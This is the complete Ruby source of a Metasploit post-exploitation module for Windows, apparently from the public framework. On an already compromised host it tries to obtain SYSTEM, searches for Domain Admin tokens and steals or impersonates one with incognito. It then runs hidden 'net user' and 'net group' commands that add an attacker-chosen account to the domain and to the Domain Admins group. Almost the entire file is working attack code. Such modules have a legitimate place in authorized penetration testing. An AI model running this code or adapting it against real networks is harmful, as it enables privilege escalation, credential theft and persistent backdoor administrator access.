metasploit-framework/modules/post/windows/manage/add_user_domain.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Windows Manage Add User to the Domain and/or to a Domain Group',
        'Description'   => %q{
              This module adds a user to the Domain and/or to a Domain group. It will
            check if sufficient privileges are present for certain actions and run
            getprivs for system.  If you elevated privs to system, the
            SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to
            a process that is running as system. If you don't have privs, this script
            exits.
          },
        'License'       => MSF_LICENSE,
        'Author'        => 'Joshua Abraham <jabra[at]rapid7.com>',
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ]
      ))
    register_options(
      [
        OptString.new('USERNAME',  [true,  'Username to add to the Domain or Domain Group', '']),
        OptString.new('PASSWORD',  [false, 'Password of the user (only required to add a user to the domain)', '']),
        OptString.new('GROUP',     [true,  'Domain Group to add the user into.', 'Domain Admins']),
        OptBool.new('ADDTOGROUP',  [true,  'Add user into Domain Group', false]),
        OptBool.new('ADDTODOMAIN', [true,  'Add user to the Domain', true]),
        OptString.new('TOKEN',     [false, 'Username or PID of the Token which will be used. If blank, Domain Admin Tokens will be enumerated. (Username doesnt require a Domain)', '']),
        OptBool.new('GETSYSTEM',   [true,  'Attempt to get SYSTEM privilege on the target host.', true])
      ])
  end

  def get_system
    print_status("Trying to get SYSTEM privileges")
    results = session.priv.getsystem
    if results[0]
      print_good("Got SYSTEM privileges")
    else
      print_error("Could not obtain SYSTEM privileges")
    end
  end

  def priv_check
    if is_system?
      privs = session.sys.config.getprivs
      if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
        return true
      else
        return false
      end
    elsif is_admin?
      return true
    else
      return false
    end
  end

  ## steal domain admin token
  ## return code: bool
  def steal_token(domain_user,domain)
    if session.sys.config.getuid() == domain_user or domain_user == ''
      return true
    end

    ## load incognito
    if(! session.incognito)
      session.core.use("incognito")
    end

    if(! session.incognito)
      print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
      return false
    end

    ## verify domain_user contains a domain
    if domain_user !~ /\\/
      domain_user = "#{domain}\\#{domain_user}"
    else
      domain_user = ''
    end

    ## token is a PID
    target_pid = ''
    if (datastore['TOKEN'] =~ /^\d+$/)
      pid = datastore['TOKEN']

      session.sys.process.get_processes().sort_by { rand }.each do |x|
        if ( pid == x['pid'])
          target_pid = pid
        end
      end
    ## token is a Domain User
    else
      session.sys.process.get_processes().sort_by { rand }.each do |x|
        if ( x['user'] == domain_user and target_pid == '')
          target_pid = x['pid']
          print_status("Found token for #{domain_user}")
        end
      end
    end

    if target_pid != ''
      # Do the migration
      print_status("Stealing token of process ID #{target_pid}")
      res = session.sys.config.steal_token(target_pid)
      if  domain_user != ''
        domain_user = session.sys.config.getuid()
      else
        print_status("Stealing token of process ID #{target_pid}")
        res = session.sys.config.steal_token(target_pid)
        if  domain_user != ''
          domain_user = session.sys.config.getuid()
        end
      end

      if session.sys.config.getuid() != domain_user
        print_error "Steal Token Failed (running as: #{session.sys.config.getuid()})"
        return false
      end
    else
      print_status("No process tokens found.")
      if (domain_user != '')
        vprint_status("Trying impersonate_token technique...")
        res = session.incognito.incognito_impersonate_token(domain_user)
      else
        return false
      end
    end

    return true
  end

  ## enumerate if the session has a domain admin token on it
  ## Return: token_found,token_user,current_user; otherwise false
  def token_hunter(domain)
    ## gather data
    usr_res = run_cmd("net groups \"Domain Admins\" /domain",false)
    domain_admins = get_members(usr_res.split("\n"))

    ## Make sure we meet the requirements before running the module
    if not priv_check
      print_error("Abort! Did not pass the priv check")
      return false
    end

    ## load incognito
    if(! session.incognito)
      session.core.use("incognito")
    end

    if(! session.incognito)
      print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
      return false
    end

    domain_admins.each do |da_user|
      ## current user
      if "#{domain}\\#{da_user}" == session.sys.config.getuid()
        print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)"
        return true,'',true
      end

      ## parse delegation tokens
      res = session.incognito.incognito_list_tokens(0)
      if res
        res["delegation"].split("\n").each do |user|
          ndom,nusr = user.split("\\")
          if not nusr
            nusr = ndom
            ndom = nil
          end
          if ndom == domain and da_user == nusr
            sid = session.sid
            peer = session.session_host
            print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)")
            return true,nusr,false
          end
        end
      end

      ## parse process list
      session.sys.process.get_processes().each do |x|
        if ( x['user'] == "#{domain}\\#{da_user}")
          target_pid = x['pid']
          sid = session.sid
          peer = session.session_host
          report_note(
            :host   => session,
            :type   => 'domain.token.pid',
            :data   => { :pid=>target_pid, :sid=>sid, :peer=>peer, :user=>da_user },
            :update => :unique_data
          )
          print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})")
          return true ,da_user, false
        end
      end
    end

    return false
  end

  # Run Method for when run command is issued
  def run
    print_status("Running module on #{sysinfo['Computer']}")

    ## get system, if requested
    if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM'])
      get_system
    end

    ## enum domain
    domain = get_domain()
    if domain.nil?
      return
    end

    ## steal token if neccessary
    if datastore['TOKEN'] == ''
      token_found, token_user, current_user = token_hunter(domain)
      if token_found && current_user == false
        datastore['TOKEN'] = token_user
      end
    end

    ## steal token
    steal_token_res = steal_token(datastore['TOKEN'],domain)
    return if steal_token_res == false

    ## verify not running as SYSTEM
    if (session.sys.config.getuid() =~ /SYSTEM/)
      print_error("Stealing a Token failed! Still running as SYSTEM")
      return
    else
      print_status("Now executing commands as #{session.sys.config.getuid()}" )
    end

    already_user = false
    already_member_group = false

    ## Add user to the domain
    if datastore['ADDTODOMAIN']
      user_add_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false)

      if (user_add_res =~ /The command completed successfully/ and user_add_res =~ /Domain Users/)
        print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain")
        already_user = true
      else
        cmd = "net user \"#{datastore['USERNAME']}\" \"#{datastore['PASSWORD']}\" /domain /add"
        print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain")
        add_user_to_domain_res = run_cmd(cmd)
      end
    end

    ## Add user to a domain group
    if datastore['ADDTOGROUP']
      ## check if user is already a member of the group
      group_add_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false)

      # Parse Returned data
      members = get_members(group_add_res.split("\n"))

      # Show results if we have any, Error if we don't
      if ! members.empty?
        members.each do |user|
          if (user == "#{datastore['USERNAME']}")
            print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group")
            already_member_group = true
          end
        end

        if already_member_group == false
          print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group")
          cmd = "net group \"#{datastore['GROUP']}\" \"#{datastore['USERNAME']}\" /domain /add"
          add_user_to_group_res = run_cmd(cmd)
        end
      end
    end

    ## drop token
    if (datastore['TOKEN'] != '')
      res = session.sys.config.drop_token
    end

    ## verify user was added to domain or domain group
    if datastore['ADDTOGROUP']
      if already_member_group == false
        net_groups_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false)

        # Parse Returned data
        members = get_members(net_groups_res.split("\n"))

        # Show results if we have any, Error if we don't
        if ! members.empty?
          members.each do |user|
            if (user == "#{datastore['USERNAME']}")
              print_good("#{datastore['USERNAME']} is now a member of the '#{datastore['GROUP']}' group!")
              return
            end
          end
          print_error("Error adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' group")
          return
        else
          print_error("No members found for #{datastore['GROUP']}")
        end
      end
    else
      if already_user == false
        net_user_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false)

        if (net_user_res =~ /The command completed successfully/ and net_user_res =~ /Domain Users/)
          print_good("#{datastore['USERNAME']} is now a member of the #{domain} domain!")
        else
          print_error("Error adding '#{datastore['USERNAME']}' to the domain. Check the password complexity.")
        end
      end
    end
  end

  def get_members(results)
    members = []

    # Usernames start somewhere around line 6
    results = results.slice(6, results.length)
    # Get group members from the output
    results.each do |line|
      line.split("  ").compact.each do |user|
        next if user.strip == ""
        next if user =~ /-----/
        next if user =~ /The command completed successfully/
        members << user.strip
      end
    end

    return members
  end

  ## get value from registry key
  def reg_getvaldata(key,valname)
    value = nil
    begin
      root_key, base_key = client.sys.registry.splitkey(key)
      open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
      v = open_key.query_value(valname)
      value = v.data
      open_key.close
    end
    return value
  end

  ## return primary domain from the registry
  def get_domain()
    domain = nil
    begin
      subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
      v_name = "DCName"
      dom_info = reg_getvaldata(subkey, v_name)
      if not dom_info.nil? and dom_info =~ /\./
        foo = dom_info.split('.')
        domain = foo[1].upcase
      else
        print_error("Error parsing output from the registry. (#{dom_info})")
      end
    rescue
      print_error("This host is not part of a domain.")
    end
    return domain
  end

  ## execute cmd and return the response
  ## is required since we need to use the 'UseThreadToken' hash
  def run_cmd(cmd,token=true)
    opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
    process = session.sys.process.execute(cmd, nil, opts)
    res = ""
    while (d = process.channel.read)
      break if d == ""
      res << d
    end
    process.channel.close
    process.close
    return res
  end
end